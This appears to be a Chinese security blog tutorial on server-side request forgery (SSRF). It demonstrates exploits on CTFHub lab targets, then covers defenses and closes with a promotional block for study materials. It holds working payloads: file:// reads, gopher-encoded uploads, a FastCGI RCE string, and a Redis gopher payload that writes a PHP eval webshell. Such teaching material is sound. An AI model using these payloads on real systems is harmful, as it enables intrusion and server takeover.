SSRF漏洞原理、漏洞点、利用与防御

SSRF漏洞深度解析:从原理到实战利用与防御 服务器端请求伪造(SSRF)是一种常见且危害严重的Web安全漏洞,其核心原理在于攻击者能够诱使服务器向任意内部或外部资源发起请求。由于服务器通常位于受信任的内网环境,这使得SSRF成为攻击者绕过防火墙、探测内网服务、访问云元数据接口甚至实现权限提升的关键跳板。在漏洞赏金和渗透测试中,SSRF常与业务逻辑漏洞结合,例如通过伪造内部API请求实现越权操作(如删除用户“carlos”),其技术价值在于将看似无害的“读取”漏洞转化为具有“写入”或“执行”能力的攻击链。典型的应用场景包括图片URL获取、文件导入、We 阅读详情

SSRF漏洞原理、漏洞点、利用与防御


SSRF介绍

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种网络安全漏洞,攻击者可以构造恶意请求,让服务端充当代理访问内网资源或者其它外网无法访问的资源,绕过网络隔离和一些安全产品的限制。与CSRF不同,CSRF是客户端的请求伪造,SSRF是服务端的请求伪造。可以简单理解为让服务器充当代理,从而访问其内部资源或其它有限制的资源。


SSRF原理

因为在搭建一个web应用的过程中,难免会使用到一些外部服务器中的资源,当服务端应用程序在处理用户可控的URL或资源地址时,没有对目标地址、协议进行验证和限制,可能会导致攻击者可以利用服务器作为代理,访问内网系统、本地文件和云服务资源,获取机密文件和数据。
在这里插入图片描述


常见漏洞点

  • 图片与文件处理(通过 URL 上传或者下载头像、封面、附件)
  • 内容导入与预览(在线文档或网页预览)
  • XML、SVG 与解析器(XML 外部实体加载、SVG 外部资源引用、某些媒体处理库自动加载远程资源)
  • Webhook 与回调(Webhook 地址配置、支付回调、消息回调)

SSRF的利用

这里是在ctfhub靶场上做演示,生产环境请在获得授权的情况下测试!!!

访问内网资源

通过修改参数url来访问其内网环境,获得其中资源。

http://challenge-fa811493b7ea5804.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

在这里插入图片描述


通过伪协议读取本地文件

这里讲一下,php和Java的SSRF中,两种语言可以利用的伪协议是不同的。如下
php常用伪协议:http、https、ftp、ftps、php、file、dict、data、gopher;
java常用伪协议:file、ftp、http、https、jar、mailto、netdoc(jdk11版本以下)、gopher(jdk1.8版本以下);

这里我就不仔细说了,查看资料链接如下:

  • https://xz.aliyun.com/news/195
  • https://it.idocdown.com/app/articles/blogs/detail/2883
  • https://www.freebuf.com/articles/web/364113.html

通过file伪协议来读取本地文件

http://challenge-be4b40038ada4d45.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

在这里插入图片描述


进行端口扫描

通过http协议进行端口扫描,来确定目标主机开放了哪些网络服务,以及这些服务可能暴露的风险。
在这里插入图片描述
将包发到intruder来进行端口扫描
在这里插入图片描述
查看结果
在这里插入图片描述
就8729端口返回长度和其它不同,打开就可以看到flag了
在这里插入图片描述


上传文件

打开靶场,将url参数改成

url=127.0.0.1/flag.php

在这里插入图片描述

可以看到文件上传位置,但是没有提交按钮,可以自己手动加

<input type="submit" name="submit">

在这里插入图片描述
但是我们直接提交文件是过不了的,所以只能利用ssrf漏洞来提交
在这里插入图片描述
我们可以利用gopher伪协议来提交文件,下面这个是数据包(网上直接找的)

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
 
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
 
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
 
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--

但是要经过两次url编码,因为在这里会进行两次url解码,第一次是发送给web服务器会解码,第二次是发送给gopher的服务会解码。这里要注意一个点:如果在第一次url编码后,换行符编码后是%0A的话,要改成%0D%0A,这个是因为网络协议规定:一行结束必须使用 \r\n,不能只用\n,而一些编码器在编码的时候,换行符默认是\n,所以url编码后是%0A,这个会导致我们的服务解析出现问题,出现400的情况。
二次编码后值如下:

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--

url的值为:

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--

成功拿到flag
在这里插入图片描述


利用FastCGI协议实现RCE

FastCGI 是通信协议;PHP-FPM 是 PHP 对 FastCGI 的一种实现,同时负责管理 PHP 工作进程;可以理解为浏览器将http请求发送到nginx等中间件,中间件将HTTP生成对应的FastCGI,转给PHP-FPM,从而使PHP解释器能执行脚本。
这里我看下面几位师傅文章理解的,如有错误,请见谅

  • https://blog.youkuaiyun.com/mysteryflower/article/details/94386461
  • https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi

这里使用Gopherus3-main工具,使用教程:https://blog.youkuaiyun.com/weixin_68416970/article/details/139440201,我就不详细介绍了。
下载安装完成后,使用下面命令

python -m gopherus3.gopherus --exploit fastcgi
index.php
cat /f*

在这里插入图片描述
再进行url编码一次,下面是最后答案,这里要记得删除没有用的空格或者换行,在这里踩一直坑,后面网上找师傅们的wp才知道的

?url=
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

在这里插入图片描述


redis写入shell

这里我工具出了点问题,我直接给网上的URL了

先用工具python2 gopherus.py --exploit redis生成gopher,然后再进行一次url编码即可
一句话木马写:<?php @eval($_POST['cmd']); ?>
答案如下:
?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

使用hackbar执行cmd=system(‘cat /f*’);就可以获得flag
在这里插入图片描述
在我看来,其实ssrf就是把攻击面扩大了而已,原本只能攻击互联网中的资产,但是有了ssrf后,相当于你开了个代理,可以到他们内网中去,攻击他们内网资产。


SSRF防御

  • 输入验证与过滤:对输入的URL进行白名单验证,不在白名单中进行禁止与限制,可通过正则表达式来实现,以及限制协议的端口与类型,必要时,还可以加token机制来限制爆破可用域名与协议。如加载URL中的照片时,正常是url=http://XXX/a.jpg读取照片,而没验证与过滤时,可以是url=file:///etc/passwd读取任意文件;
  • 输出验证与过滤:对输出的内容进行多方面验证,如正则表达式匹配、后缀名匹配、内容匹配、格式匹配等等,以及报错页面统一,不要将报错信息直接传输个客户端。如获得照片的功能,没有进行输出过滤,正常是url=http://XXX/getjpg读取照片链接返回加载,异常可能是url=http://XXX/getcard读取身份证号;
  • 最小权限化:给服务和应用程序应该只给它可以完成其功能所需要的最低权限。如某服务只是把用户头像存入对象存储,它不应该拥有管理员角色;
  • 禁用重定向:禁止 HTTP 客户端自动跟随重定向,若业务必须支持重定向,应逐跳校验协议、域名、端口及解析后的 IP 地址。如HTTP 客户端自动跟随重定向,就可能访问云服务器的元数据地址或者内网资源,形成 SSRF;
  • 超时返回错误页面:对外部请求设置较短的连接超时和读取超时。发生超时时,统一返回通用错误页面,不向用户暴露目标地址、内网 IP、端口、连接状态或底层异常信息。如攻击者控制的服务器每隔几十秒只返回少量数据,并且应用没有读取超时和响应大小限制,一次请求可能长期占用工作线程。大量类似请求可能耗尽资源,造成拒绝服务;
  • 配置Web应用防火墙(WAF):这个就老生常谈的事情了,我就不过多解释了,各位师傅这方面可能比我厉害多了。

总结

SSRF 的本质是服务端对用户可控的 URL 缺少限制,导致攻击者借助服务器访问内网、本地文件或云资源,进而造成信息泄露、端口探测,甚至代码执行。SSRF 相当于为攻击者提供了一个位于目标网络内部的代理,使攻击面从公网资产扩大到内网服务及其他受限资源。因此,防御时应结合 URL 白名单、协议与端口限制、内网地址拦截、重定向校验、超时与响应大小限制、输出过滤、最小权限和网络隔离等措施。WAF 只能作为补充,不能替代代码层和网络层的安全控制。


如何系统学习网络安全?

网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。

构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。

如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

在这里插入图片描述

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

img

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

在这里插入图片描述

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

img

SSRF漏洞深度剖析:从原理到实战利用与防御 服务器端请求伪造(SSRF)是一种常见且危害性高的Web安全漏洞,其核心原理在于攻击者能够诱使后端服务器向任意内部或外部地址发起网络请求。由于服务器通常拥有较高的网络访问权限,SSRF漏洞常被用于探测内网拓扑、访问内部管理界面,甚至结合其他协议进行文件读取或更复杂的攻击,其技术价值在于突破了应用层的信任边界,直接威胁内网安全。典型的应用场景包括头像/图片远程获取、数据导入、Webhook测试等需要后端发起网络请求的功能模块。本文以CVE-2024-1021为例,通过代码审计、环境搭建和Payload构造,深 阅读详情

相关推荐

SSRF漏洞深度解析:原理、危害与代码级防御实战

服务端请求伪造(SSRF)是一种常见且危害巨大的Web安全漏洞,其核心原理在于攻击者能够操控后端服务器向任意地址发起请求。由于服务器通常位于受信任的内网环境,这使得SSRF攻击能够绕过防火墙等边界防护,直接访问内部系统、云元数据服务或本地文件,导致敏感信息泄露甚至内网沦陷。从技术实现上看,漏洞常出现在包含远程URL处理功能的应用中,例如网页预览、文件导入或数据代理服务。开发者需从输入校验、协议过滤、目标地址白名单校验及网络层出口流量限制等多个层面构建纵深防御体系。本文结合云原生环境下的实战案例,深入剖析了S

weixin_30740295的博客 1008

SSRF小结

SSRF是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。

qq_61475980的博客 628

SSRF与XXE漏洞实战:从原理到靶场挖掘与防御

服务器端请求伪造(SSRF)和XML外部实体注入(XXE)是Web安全领域两大高危漏洞,其核心在于信任边界的绕过与数据解析的滥用。SSRF的原理是攻击者能够诱导服务器向任意内部或外部地址发起请求,从而绕过防火墙等边界防护,直接访问内网资源或云元数据,其技术价值在于将对外暴露的普通功能点(如图片上传、数据导入)转化为攻击内网的跳板。XXE则利用了XML解析器默认处理外部实体的特性,通过构造恶意XML文档,可导致敏感文件读取、内网探测甚至远程代码执行,常出现在处理XML输入的文件上传、数据导入等场景。理解这两种

aobu0171的博客 441

CSRF和SSRF漏洞

当用户访问含有恶意代码的网页时,会向指定正常网站发送非本人意愿的数据请求包(如转账给hack,向hack发送API等)如果此时用户恰好登录了该正常网站(也就是身份验证是正常的)就会执行该恶意代码的请求,从而造成CSRF。与在XSS章节中提到的在博客里写入获取cookie的代码,在管理员登录后台查看时就会窃取其cookie有异曲同工之妙跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。这个数据包是用户访问的网站b的数据包;...

qq_58970968的博客 348

SSRF漏洞利用Gopher协议伪造SMTP邮件攻击原理与防御

服务器端请求伪造(SSRF)是一种常见的Web安全漏洞,它允许攻击者诱导服务器向任意地址发起网络请求,从而绕过防火墙访问内部系统。其核心原理在于服务端未对用户输入的URL进行充分校验,导致攻击者可以操控服务器作为代理访问内网服务或本地文件。这种漏洞的技术价值在于能够突破网络边界,直接威胁内网安全,常被用于内网探测、服务攻击和数据窃取。在应用场景中,攻击者常结合Gopher协议等工具,将复杂的协议请求自动化,例如针对SMTP服务伪造邮件。通过SSRF访问内网SMTP端口,利用其宽松的认证策略,攻击者可以伪造发

diaohong5075的博客 496

PHP文件包含与SSRF漏洞攻防实战:从原理到深度防御

在Web应用安全领域,文件包含与服务器端请求伪造是两类常见且危害严重的安全漏洞。文件包含漏洞源于程序将用户可控的输入直接作为代码文件路径引入执行,这打破了文件后缀决定执行方式的常规认知,使得攻击者可能读取敏感文件甚至执行任意代码。SSRF则允许攻击者诱使服务器向内部或外部任意地址发起请求,从而成为攻击内网服务的跳板。从技术价值看,理解这两类漏洞的原理有助于构建更安全的代码逻辑和服务器配置。在PHP开发实践中,防御文件包含漏洞需采用白名单机制、路径固定与`open_basedir`限制等多层防护;应对SSRF

weixin_34008805的博客 684

一篇文章教你学会SSRF漏洞

1.1w字文章,包括SSRF漏洞介绍、原理、攻击和利用方式、SSRF利用的协议、常见的漏洞函数、可能出现漏洞的点、SSRF的危害、SSRF的防御、SSRF绕过bypass、SSRF的优势、SSRF漏洞绕过方法、常用常见限制及绕过方法、SSRF修复建议、漏洞演示、SSRF利用的

a770067334的博客 4960

SSRF漏洞深度解析:原理、利用与防御实战指南

服务器端请求伪造(SSRF)是一种常见且危害巨大的Web安全漏洞,其核心原理在于攻击者能够诱使服务器向任意目标发起网络请求。从技术实现上看,当应用程序未对用户输入的URL进行严格校验,并直接用于发起网络请求(如通过file_get_contents、cURL等函数)时,便可能产生此漏洞。其技术价值在于,它突破了传统Web应用的外部攻击面,将威胁直接延伸至受保护的内部网络环境,成为攻击者探测内网、访问敏感服务(如数据库、云元数据)甚至实现远程代码执行的关键跳板。在应用场景上,SSRF常出现在图片处理、数据导入

weixin_29325515的博客 298

SSRF漏洞学习

漏洞解释 SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统) SSRF漏洞形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。 例如,黑客操作服...

qq_45521281的博客 1270

SSRF漏洞深度解析:从原理、挖掘到实战利用与防御

服务器端请求伪造(SSRF)是一种常见的Web安全漏洞,其核心原理在于应用程序未能充分校验用户输入,导致攻击者能够操控服务器向任意地址发起网络请求。这一漏洞的根源在于信任边界的突破,服务器错误地信任了来自自身的请求。从技术价值看,SSRF不仅可用于信息泄露,探测内网服务,更可作为攻击内网脆弱应用(如存在RCE漏洞的Struts2、ThinkPHP框架应用)的跳板,甚至通过Gopher等协议与Redis、MySQL等非Web服务交互,实现远程命令执行。在应用场景上,任何需要服务器对外发起请求的功能点,如内容获

chiman6219的博客 327

SSRF漏洞攻防实战:从原理到防御的完整指南

服务器端请求伪造(SSRF)是一种常见且危害巨大的Web安全漏洞,其核心原理在于攻击者能够诱使服务器向任意其可访问的地址发起HTTP请求。由于服务器通常拥有更高的网络权限,可以访问本地回环地址、内部私有网络以及云环境中的元数据服务,这使得SSRF成为攻击者探测和攻击内网资产的“万能钥匙”。从技术价值看,理解SSRF的成因与利用手法,对于构建纵深防御体系至关重要。在应用场景上,无论是新兴的低代码平台(如dify)还是经典的教学靶场(如pikachu),SSRF都是持续演进的攻防焦点。攻击者常利用该漏洞探测内网

weixin_33805743的博客 579

SSRF中Redis的利用

Gopherus下载地址自己手动把攻击语句转换成Gopher协议的格式会很麻烦,这款工具里面内置了一些早就写好的利用语句,我们只需要学会如何使用它就可以很方便的写出一些我们需要的利用语句。

zkaqlaoniao的博客 1235

faster lio 回环 加入GTSAM优化的记录

对Faster lio 加入回环、gtsam优化,在室外建图遇到的问题和过程

Nico_jion的博客 2601
上一篇: CSRF漏洞原理、攻击及防御
下一篇: WAF的定义、原理、形态、部署方式、功能与常见问题
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值